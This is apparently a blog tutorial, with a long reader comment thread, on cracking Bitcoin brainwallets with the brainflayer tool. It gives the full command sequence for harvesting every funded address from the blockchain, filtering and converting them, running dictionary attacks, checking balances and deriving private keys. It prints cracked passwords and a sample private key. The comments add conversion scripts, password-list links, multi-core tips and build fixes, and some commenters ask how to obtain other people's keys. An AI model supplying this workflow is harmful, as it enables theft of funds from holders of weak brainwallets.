Introduction:
New Cracking Tool Exposes Major Flaw in Bitcoin Brainwallets
New Cracking Tool Exposes Major Flaw in Bitcoin Brainwallets
Download brainflayer: https://github.com/ryancdotorg/brainflayer
1. Password dictionary
Download CrackStation dictionary: https://crackstation.net/buy-crackstation-wordlist-password-cracking-dictionary.htm
2. Install Bitcoin Daemon: https://github.com/bitcoin/bitcoin
3. Open source blockchain tool Blockparser
Blockparser download: https://github.com/znort987/blockparser
Retrieve all Bitcoin addresses using Blockparser
./parser allBalances > allBalances.txt
You need a lot of RAM for this process. 64GB are recommended.
allBalances.txt has too much information. We only need bitcoin address. Use awk to filter allBalances.txt
awk '{ print $2 }' allBalances.txt > btcaddress.hex
4. Convert Bitcoin address to Hash160 address
Tool written in Perl: http://lenschulwitz.com/base58
A slight change is needed to convert text file. (find the script in the comments below)
5. Convert Hash160 address to bloom filter address using hex2blf
hex2blf btcaddress.hex btcaddress.blf
6. Run brainflayer
brainflayer -b btcaddress.blf -i password.txt
7. Sample output: (first column is Bitcoin Hash160 address, the last column is the password)
6e24b1342852a8e4af3c63206f8b2266ba887ef6:u:str:1234
ec42ad7fd54f931274b83f6137379206e458b106:u:str:1satoshi
long numeric passwords:
09b508bae503da42f05575891866d0072bcf65f6:u:str:011235813213455
32f6ace81715e0872e6db7ff4a280185205620a3:u:str:12345678901234567890
afe66e0314eb15a5cd01d95b94166ce995c3347d:u:str:000000000000000000000000000000
long alphabet passwords:
482bc0946efa74a5a3d005e693b2774e1aeb7dad:u:str:qwertyuiopasdfghjklzxcvbnm
4b1b231e9caa7f95d51ed7c99df68a5add5a1714:u:str:doandroidsdreamofelectricsheep
bf1f119153f6ecedb259f0043f9fbbc88687b22e:u:str:thepastisagrotesqueanimal
passwords made of sentences
ac8dc3fcfa4e9e91dddfc0c3fe6d7e0021292036:u:str:may the force be with you
8b0a993126c3bf8f4b28c8264b553d6aa39f2956:u:str:Money is the root of all evil.
1622dc9d9e5423d7b84122f9ef7edfa1981d9960:u:str:nothing ventured nothing gained
0c7cdc2d447af8d422dd2b54cab2f274ca88131d:u:str:No one can make you feel inferior without your consent.
8ee2d47121c480c37f9dd0a88bddf2dc21b284da:u:str:The quick brown fox jumped over the lazy dog.
2029758fa9d81f9c36f4be2ab8696ad10fc602f8:u:str:The quick brown fox jumps over the lazy dog
838edc90c250d298fc115bf028164f105e228fb9:u:str:these aren't the droids you're looking for
8c4cfbd55dd01f6c221372eba1e57c7496d7239f:u:str:This is the way the world ends.
31ae15fc484cf5fd34ecd49e1afb51e3f2174a93:u:str:tomb-of-the-unknown-soldier-identification-badge
passwords in Chinese character
7afa3b687e58d3f16feccb8244b90a87a535b85c:u:str:试试看
73b1bebd338fc051dba7282d4f99846fac01df23:u:str:中国上海
8. Convert Hash160 address back to Bitcoin address
ec42ad7fd54f931274b83f6137379206e458b106:u:str:1satoshi
Convert to bitcoin address: 1NYEM85RpgkSofLqDfwjb21o3MD4ibSo49,
Brainwallet password is 1satoshi
9. Bitcoin wallet balance
check Bitcoin balance on Blockchain.info
https://blockchain.info/q/addressbalance/1NYEM85RpgkSofLqDfwjb21o3MD4ibSo49
10. Private key for the Bitcoin address
Download open source tool Addressgen： https://github.com/sarchar/addressgen
Example: ec42ad7fd54f931274b83f6137379206e458b106:u:str:1satoshi
Bitcoin address: 1NYEM85RpgkSofLqDfwjb21o3MD4ibSo49
Run
./genaddress.py -p 1satoshi
Output:
ECDSA private key (random number / secret exponent)
51b2156ca4b9d96c9e77938b1197b806a4a2822060da15d79f2f6f8f75655644
Bitcoin private key (Base58Check, uncompressed)
5JSGPQ2Jw1P5cVi2L8LeuWnMF5H8rLGrPPgVM2XE1cahG1BQDzY
Bitcoin extended private key (Base58Check)
xprv9s21ZrQH143K3TEjPXq1CkrNDMfYWYwVNKVWqSPeEthWqd4uJKWSRnM2GX2BYktMDQrGxa2FZrpDdt5Q1qeLk4T46974eh9Eo7iHCfGcY37
(embedded private key) -> L43jHnozmKE5TYNqMwsPgXNcTfRT7TNhzDkTgaKAgYcx99Qm5LhB
------
ECDSA public key (uncompressed)
04a3599acf74fc7b781207860e8753f182fc4b8c5febe6c5f2e09381893abb4e0b290a172aa6a7ba13c5a32de6d10a024d95cf786d72e650889a4a22f29a3b84df
Bitcoin Address (uncompressed, length=34):
1NYEM85RpgkSofLqDfwjb21o3MD4ibSo49
Bitcoin extended public key
xpub661MyMwAqRbcFwKCVZN1Zto6mPW2v1fLjYR7dpoFoEEViRQ3qrpgyafW7nhb8fPtRaX2TJbCXQAfgAhMYGJ9DJeF1UVAMYu3Ucd3BqaeU9R
(embedded public key) -> 032131be64ba3f27e757c2f0f310038a8dfb768ff922448aff2841fa7954472880
(bitcoin address) -> 1Kvdg9jcdcdWGBb77Rovd8jkHjPd4eKB6t
As you can see above, the bitcoin address is 1NYEM85RpgkSofLqDfwjb21o3MD4ibSo49
the private key is 5JSGPQ2Jw1P5cVi2L8LeuWnMF5H8rLGrPPgVM2XE1cahG1BQDzY
i need a more in depth tutorial on how to do this step by step properly Thanks if you can send me one by email please
Sorry, I don’t have a step by step tutorial.
Hi pal great tut dose this still work would love to give it a shot
Yes, it still work.
Hi,
Great article,!
I have one problem though, at step 4, since i am not a developer, i am having a hard time figuring out what change to do to make it process a whole file. I am using a csv file which was generated by another blockparser (not znort’s) and it only outputs addresses in Base58.
How could I convert them all in one go to hex format?
Thanks in advance!
Download the Perl script from: http://lenschulwitz.com/b58/base58perl.txt
rename it to base58perl.pl
replace the last part of the script from:
to:
my $fileSrc = 'base58.txt'; open my $fhSrc, $fileSrc or die "Could not open $fileSrc: $!"; my $fileDest = 'hex.txt'; open(my $fhDest, '>>', $fileDest) or die "Could not open file $fileDest: $!"; while( my $base58_encoded_address = <$fhSrc>) { my $binary_address = decodebase58tohex($base58_encoded_address); say $fhDest $binary_address; } close $fhSrc; close $fhDest;This should read base58 address from base58.txt and save the hex format address to hex.txt.
Awesome, it worked!
Thank you!
hopefully someone can make a full detail on how to make this work in linux.
a tutorial i mean 🙂
how long does it take for you to get output from brainflayer? I have completed up to step #7 but now it appears brainflayer is either working in the background or doing nothing???
I can make video tut if Jack doesn’t mind. I cant explain much of background processes as I usually compile and pack all data tightly and quickly to script it.
use a known password for testing and you should see the output in one second.
A video tutorial would be great. You can post the link here.
Do you have an video tutorial, it where be great 😀
@ James
I don’t have any video tutorial for this.
Hi Jack,
I get the following error on Make
make: *** [ec_pubkey_fast.o] Error 1
Full terminal log : https://paste.ubuntu.com/23660433
Any tips on how I can fix this
https://github.com/bitcoin-core/secp256k1
does it still work
It should
Good day and keep up the good work. Please I omitted step 1 – 3 because I am trying to use my wallet ID to check how secured my wallet is but got stuck on step 4 to 5.
Need Clarification on the following as a new be to programming:
1. Do I need to follow the procedure you suggested on “Download the Perl script from: http://lenschulwitz.com/b58/base58perl.txt
rename it to base58perl.pl”
2. If I am to do same after the modification, where do I upload the update?
3. After the aforementioned steps, in what environment in github ( Is it “bitcoin command prompt” or “brain flayercommand prompt”), do I input the command “hex2blf btcaddress.hex btcaddress.blf” ?
4. Also. will I replace btcaddress.hex with the hex value of my public key generated via http://lenschulwitz.com/base58
Thank you as I await your esteemed clarification
1. Yes
2. You upload the file to where the btcaddress.hex file is on. Then run the Perl script to convert addresses in btcaddress.hex to Hash160 format
3. run the command “hex2blf” in Linux environment
4. Yes, btcaddress.hex will be updated to Hash160 format
Thanks so much for your valued feedback.
Pls help clarify as I am new to programming and my background is Windows.
1. Would all the downloads from step 1 to step 7 to mounted on Linux OS like Ubuntu, KDE etc or on github?
2. Pls. under which tool will l locate btcaddress.hex?
Apologies to bore you as I await your feedback.
1. all tools run on Linux OS
2. you create the file btcaddress.hex at step 3
upon make request for brainflayer i recieve this error:
gcc -O3 -flto -funsigned-char -falign-functions=16 -falign-loops=16 -falign-jumps=16 -Wall -Wextra -Wno-pointer-sign -Wno-sign-compare -pedantic -std=gnu99 -static brainflayer.o hex.o bloom.o mmapf.o hsearchf.o ec_pubkey_fast.o ripemd160_256.o dldummy.o algo/brainwalletio.o algo/warpwallet.o algo/keccak.o algo/sha3.o algo/brainv2.o secp256k1/.libs/libsecp256k1.a scrypt-jane/scrypt-jane.o -lssl -lrt -lcrypto -lz -lgmp -o brainflayer
/usr/bin/ld: cannot find -lgmp
collect2: error: ld returned 1 exit status
Makefile:68: recipe for target ‘brainflayer’ failed
make: *** [brainflayer] Error 1
help please
please which app did you use to run the program
Hello pls i need a private key of someone how can i get that all the app that i download did not work pls help me out
13Ugd1nDEgr9WPTZQVoxu4saqvwetkz7B4
1J7R8Q2N22Skg9QPAEhW8wBR1jEA4bJPo8
1H1jr23Vvc9iM575p8QqqM7RWjcaJRHZ6a
thanks
This tool is not for the purpose of recovering the private key for a given bitcoin address.
Hi Jack,
I have tried every step in this tutorial (I stripped the 0 balance hashes out), but no luck so far.
Could you provide a hash that i can put in my list that will definitely result in a match? My brainflayer has been running for quite some time, and there are 0 hits.
The sample hash in this post should work.
How do I run any of these files on windows?
To me these are just folders with random files I have no idea what to do with..
Just a little help on that would be greatly appreciated!
Thank You.
These tools run on Linux. I don’t have the Windows version.
Hi Jack,
I have a question when I run the last program you gave us I ge this error,
File “D:\George\Crack\GeorgeS\addressgen-master\genaddress.py”, line 456, in
main()
File “D:\George\Crack\GeorgeS\addressgen-master\genaddress.py”, line 411, in main
public_key, private_key = gen_key_pair()
File “D:\George\Crack\GeorgeS\addressgen-master\genaddress.py”, line 94, in gen_key_pair
if ssl_library.EC_KEY_generate_key(k) != 1:
OSError: exception: access violation reading 0xFFFFFFFFD96E1A98
I import the libeay32.dll both also for win64 also for win 32.
How can I use this tool, ?
Sorry, I haven’t used these tools on Windows.
if you could make an offline step by step video all we will be very apreciated sir thanks for share your knoledge with us
Hello.
I have encrypted DOGE wallet.
I convert encrypted address HERE : http://lenschulwitz.com/base58
After make this command
1):-Name:~/brainflayer$ ./hex2blf btcaddress.hex btcaddress.blf
[*] Initializing bloom filter…
[*] Loading hash160s from ‘btcaddress.hex’ 100.0%
[*] Loaded 1 hashes, false positive rate: ~2.298e-167 (1 in ~4.351e+166)
[*] Writing bloom filter to ‘btcaddress.blf’…
[+] Success!
r@r-System-Product-Name:~/brainflayer$
and create password.txt.
2)Then use –
:Name:~/brainflayer$ ./brainflayer -b btcaddress.blf -i password.txt
r@r-System-Product-Name:~/brainflayer$
But output nothing.
Whats wrong.?I should install doge daemon and parse doge blockchain??
Very need help!
seems it work,but no found password
Name:~/brainflayer$ ./brainflayer -b btcaddress.blf -i password.txt -v -o r.txt
rate: 382.29 p/s found: 0/7 elapsed: 0.018 s
1E6B167A33CC29B7A3284499E5093E1F1DEDA7AE8C59C661A2 -hash
password is 34os48trs
passwordlist^
4t4t4tr5
45454545
454545rt
4r4r4r5t
34os48trs
34os48Trs
349848trs
What is wrong???
Hello.
I try now find my doge wallet password.Ubuntu 17.04
But I not have install DOGE wallet like .dogecoin
I just use address doge wallet on site http://lenschulwitz.com/base58 got hash from him and did btcaddress.blf .
seems it work,but no found password
Name:~/brainflayer$ ./brainflayer -b btcaddress.blf -i password.txt -v -o r.txt
rate: 382.29 p/s found: 0/7 elapsed: 0.018 s
1E6B167A33CC29B7A3284499E5093E1F1DEDA7AE8C59C661A2 -hash
password is 34os48trs
passwordlist^
4t4t4tr5
45454545
454545rt
4r4r4r5t
34os48trs
34os48Trs
349848trs
What is wrong???
If you cannot help me or wont do it -let me know to my email .Thanx
Have you solved the problem? I have the same problem.
Can we use this on an addresd that has balance already. And we just want to find the private key as well as password? I assume it can be done by pasting the address in the txt file, and then carrying on the procedure?
No, this is not a tool to crack or generate private key for a given bitcoin address.
good day dear Jack
great tool …
so with this tool one could find brainpasswords and would be able to transfer out the funds?
doesn’t it make it too easy for the evil-doers?
thank you …
With this tool it’s possible to crack a brainwallet private key if you’re lucky. It’s a brute-force password cracking tool.
This is why brainwallet.org permanently closed.
i forgot my wallet.dat password 🙁 completly 🙁 it was generated randomly with simple passgen tool, and .txt that was containing it – lost.
All i have is wallet.dat
this tutorial is useless for me?
No, you can’t use this to recover your private key.
Do you still have the wallet.dat ?
Was the Password any WordPhrases or was it lik -> “wf12’fl$?wqercs”
Hello Jack
Any idea how can I strip out the 0 balance wallets?
Do you know if this will work with other crypto coins
Thanks 🙂
I know I’m late for replying but I’ll reply anyway in case someone else have the same question.
To list the top 250.000 addresses sorted by BTC amount
./parser allBalances -w 250000 > allBalances.txt
or use -l parameter to set amount limit
run
to list all supported commands
hello here please is still working i am working on a security to make blockchain more better
Hi Jack.
Do I need any other dependencies. I have windows so have installed Vm Virtualbox to run Ubuntu.
I’ve downloaded the full folder from github but when I run the first line. hex2blf btcaddress.hex btcaddress.blf, it says command not found.
I have navigated to the correct folder using cd, then ls will display all files.
I have tried
./hex2blf btcaddress.hex btcaddress.blf
./hex2blf ./btcaddress.hex btcaddress.blf
hex2blf.c btcaddress.hex btcaddress.blf
./hex2blf.c ./btcaddress.hex btcaddress.blf
pretty much everything I can think of but the terminal with give a bash error, or say command not found.
Please can you assist on what set up I need.
Thanks
You need to compile the source code you downloaded from the Github.
I am having problem installing the brainflayer on my Linux 2017
Hi.
Thank you for helping. I have this up and it appears to be running correctly. I ran it on an address I new I would get a match for and it came back as 1 found. But did not tell me which address was found of the key it used to match, how can I see this?
Also under point 4, convert addresses to hash160. Is there a bulk tool for this?
Thank you.
check my previous reply for the hash160 conversion tool. or search for “base58perl.pl” on this page.
When i’am trying to hex a bitcoin address with base58perl.pl it gaves me addional 00 before and 8 numbers after. How to fix that ? Cause brainflayer do not accept this hex.
In other words everything works like a charm a part of :
1) lenschulwitz base58 converter
when i take your bitcoin address example like 1NYEM85RpgkSofLqDfwjb21o3MD4ibSo49
it gaves me 00EC42AD7FD54F931274B83F6137379206E458B1063EC89E96 instead of
ec42ad7fd54f931274b83f6137379206e458b106. Seems same a part of 00 at start and 8 digits more at the end. I cant understand why. Both times even i do it on his website or in perl in my terminal, the result is the same. In other converters everything ok but you cant do massive conversion.
2) In brainflayer you have result : ec42ad7fd54f931274b83f6137379206e458b106:u:str:1satoshi
and my is ec42ad7fd54f931274b83f6137379206e458b106:u:Sha256:1satoshi.
the diference is only between str and sha256, i do all the same as you but result is different. i dont know if its depends on some additional keyword you add in promt line or no. Any way its working.
Waiting for your comment, with best regards, Alex.
00EC42AD7FD54F931274B83F6137379206E458B1063EC89E96 is the same as
ec42ad7fd54f931274b83f6137379206e458b106
This bitcoin address is a 25 bytes number which is linked to the hash 160 as follows:
address = [Version Byte (1)][Hash 160 (20)][Checksum (4)]
The version byte is simply 0x00 for the main bitcoin network and the 4 checksum bytes are simply the first 4 bytes of the double sha256 hash of the 21 bytes [Version Byte][Hash 160]
To get only the hash160 in step 4, update the code in base58perl.pl
change from:
say $fhDest $binary_address;
to:
say $fhDest substr $binary_address, 2, 40;
Thank you very much for your answer. Now it is working in proper way, with this additional string.
I know that they are the same, but unfortunately brainflayer don’t want to accept hash160 in that way, and as i don’t understand in coding, i was confused. Now everything working fine.
Thank you again, and have a nice day !
Brainflayer required devel libs installed (dependencies)
You might need to update Makefile in Brainflayer if you receive the following error message when you compile the source code.
from
to
Error message:
Brainflayer is not currently multithreaded. If you want to run it on multiple cores, you’ll have to use -n and -k options. Run brainflayer -h for more information.
I tested brainflayer with single process on a 1 core VPS with SSD, it can check 100,000 passwords per second.
If you run 4 processes on a 4 core VPS, it can check 400,000 password per second.
The following command will split the password file into 4 pieces and run 4 separated processes to utilize 4 cores.
I have something like 75 000 p/s using 1 core in virtual box on my macbook air.
It checks big CrackStation dictionary in 4,5 hours, and small one in 40 min.
Maybe you have some other links for big dictionary or passpahrases list ?
I have other interesting brute force python script that uses passpharses, but its much low speed vs brain flayer. if you are interesting i will post a link.
You can find some large password lists here:
https://thehacktoday.com/password-cracking-dictionarys-download-for-free/
Yes you’re welcome to post any link if it’s relevant to the topic.
please i find it hard setting it up for the past two mouth please somebody out there help me thank you in advance.
please help me out with this errors, its shows up when am trying to compile it
1. i have this error when trying to compile brainflayer.c
brainflayer.c: In function ‘main’:
brainflayer.c:818:9: warning: this decimal constant is unsigned only in ISO C90 [enabled by default]
} else if (time_delta < 2500000000) {
^
brainflayer.c:839:9: warning: format ‘%zu’ expects argument of type ‘size_t’, but argument 4 has type ‘uint64_t’ [-Wformat=]
);
^
brainflayer.c:839:9: warning: format ‘%zu’ expects argument of type ‘size_t’, but argument 5 has type ‘uint64_t’ [-Wformat=]
/usr/bin/ld: cannot open output file brainflayer: Is a directory
collect2: error: ld returned 1 exit status
2. for hex2blf file
hex2blf.c: In function ‘main’:
hex2blf.c:57:7: warning: format ‘%ju’ expects argument of type ‘uintmax_t’, but argument 4 has type ‘__off_t’ [-Wformat=]
fprintf(stderr, "[!] Bloom filter file '%s' is not the correct size (%ju != %d)\n", bloomfile, sb.st_size, BLOOM_SIZE);
^
/tmp/ccMZW5gm.o: In function `main':
hex2blf.c:(.text+0x9d0): undefined reference to `bloom_set_hash160'
hex2blf.c:(.text+0xaaf): undefined reference to `exp'
hex2blf.c:(.text+0xac3): undefined reference to `pow'
collect2: error: ld returned 1 exit status
thank you i will await your reply
I have no idea
https://github.com/dan-v/bruteforce-bitcoin-brainwallet
Interesting script, easy to use.
p.s. thank you for the link with passwords list.
@Alex Could you please tell me how to work with such massive archives on ubuntu 14.04 or kali linux? What tool do you prefer? Is it possible to convert txt file to utf8 type automatically and how? Please leave links here in answer if you have such information. Thank you in advance.
Please sir can you give me a tip on how to compile the brainflayer source code.
Thank you
you use
makecommand to compile source code.Please can u give me an example of the command please?
After a successful install, when I try to run brainflayer, it gives me this error:
root@kali-2017:~/brainflayer# ./brainflayer -v -I 0000000000000000000000000000000000000000000000000000000000000001 -b example.blf
Segmentation fault
Could you help me on this issue?
Thanks
try it on Ubuntu 14.04
What Linux distribution did you use ?
Ubuntu
Hi,
shouldn’t be
> awk ‘{ print $2 }’ allBalances.txt > btcaddress.hex
this
> awk ‘{ print $3 }’ allBalances.txt > btcaddress.hex
to get the right column?
Hello I am in blocked on step 3
cant run make in BlockParser directory
i am using Kali, but after I do:
cd blockparser
make
gives back the error
make: *** No targets specified and no makefile found. Stop.
I cant continue after that
any help ?
run
to create the Makefile
please i need help to fix this problem bellow stage 3
loverkiss@loverkiss:~/blockparser$ ./parser allBalances >allBalances.tx
info: mem at start = 0.000 Gigs
info: starting command “allBalances”
fatal: problem accessing directory /home/loverkiss/.bitcoin
Aborted (core dumped)
loverkiss@loverkiss::~/blockparser$
Have you installed the bitcoin daemon in step 2?
Hello!
I try now find example’s (1NYEM85RpgkSofLqDfwjb21o3MD4ibSo49) password “1satroshi”.
I just use address wallet on site http://lenschulwitz.com/base58 got hash from it and did btc.txt .
string in btc.txt: 00EC42AD7FD54F931274B83F6137379206E458B1063EC89E96
Name:~/brainflayer$ ./hex2blf btc.txt btc.blf
Name:~/brainflayer$ ./brainflayer -v -b btc.blf -i password.txt
rate: 382.29 p/s found: 0/2 elapsed: 0.002 s
passwordlist^
1satoshi
satoshi1
What is wrong???
May be I fogot something? Thanks.
The address in btc.txt should be:
EC42AD7FD54F931274B83F6137379206E458B106
You can find the explanation in the comments above.
Hello
I need help please contact me
Thank You
Sorry I’m not able to provide support on this.
please i having this error print out bellow i need help
root@root:~/brainflayer# make all
gcc -O3 -flto -funsigned-char -falign-functions=16 -falign-loops=16 -falign-jumps=16 -Wall -Wextra -Wno-pointer-sign -Wno-sign-compare -pedantic -std=gnu99 -static brainflayer.o hex.o bloom.o mmapf.o hsearchf.o ec_pubkey_fast.o ripemd160_256.o dldummy.o algo/brainwalletio.o algo/warpwallet.o algo/keccak.o algo/sha3.o algo/brainv2.o secp256k1/.libs/libsecp256k1.a scrypt-jane/scrypt-jane.o -lssl -lrt -lcrypto -lz -lgmp -o brainflayer
/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/libcrypto.a(b_addr.o): In function `BIO_lookup’:
(.text+0xd0d): warning: Using ‘getaddrinfo’ in statically linked applications requires at runtime the shared libraries from the glibc version used for linking
/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/libcrypto.a(b_sock.o): In function `BIO_gethostbyname’:
(.text+0x71): warning: Using ‘gethostbyname’ in statically linked applications requires at runtime the shared libraries from the glibc version used for linking
/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/libcrypto.a(threads_pthread.o): In function `CRYPTO_THREAD_lock_new’:
(.text+0x25): undefined reference to `pthread_rwlock_init’
/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/libcrypto.a(threads_pthread.o): In function `CRYPTO_THREAD_read_lock’:
(.text+0x55): undefined reference to `pthread_rwlock_rdlock’
/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/libcrypto.a(threads_pthread.o): In function `CRYPTO_THREAD_write_lock’:
(.text+0x75): undefined reference to `pthread_rwlock_wrlock’
/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/libcrypto.a(threads_pthread.o): In function `CRYPTO_THREAD_unlock’:
(.text+0x95): undefined reference to `pthread_rwlock_unlock’
/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/libcrypto.a(threads_pthread.o): In function `CRYPTO_THREAD_lock_free’:
(.text+0xba): undefined reference to `pthread_rwlock_destroy’
/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/libcrypto.a(threads_pthread.o): In function `CRYPTO_THREAD_run_once’:
(.text+0xe5): undefined reference to `pthread_once’
/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/libcrypto.a(threads_pthread.o): In function `CRYPTO_THREAD_init_local’:
(.text+0x105): undefined reference to `pthread_key_create’
/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/libcrypto.a(threads_pthread.o): In function `CRYPTO_THREAD_set_local’:
(.text+0x137): undefined reference to `pthread_setspecific’
/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/libcrypto.a(threads_pthread.o): In function `CRYPTO_THREAD_cleanup_local’:
(.text+0x157): undefined reference to `pthread_key_delete’
/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/libcrypto.a(threads_pthread.o): In function `CRYPTO_THREAD_get_local’:
(.text+0x123): undefined reference to `pthread_getspecific’
/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/libcrypto.a(threads_pthread.o): In function `CRYPTO_THREAD_get_current_id’:
(.text+0x171): undefined reference to `pthread_self’
/usr/lib/gcc/x86_64-linux-gnu/7/libgcc_eh.a(unwind-dw2.o): In function `uw_init_context_1′:
(.text+0x1e91): undefined reference to `pthread_once’
collect2: error: ld returned 1 exit status
Makefile:68: recipe for target ‘brainflayer’ failed
make: *** [brainflayer] Error 1
blockparser openssl version support
after more than 1 trillion passwords, i think that we are far too late to succeed hereby .
blockparser. 64 bit ya 32 bit Ubuntu support
And openssl version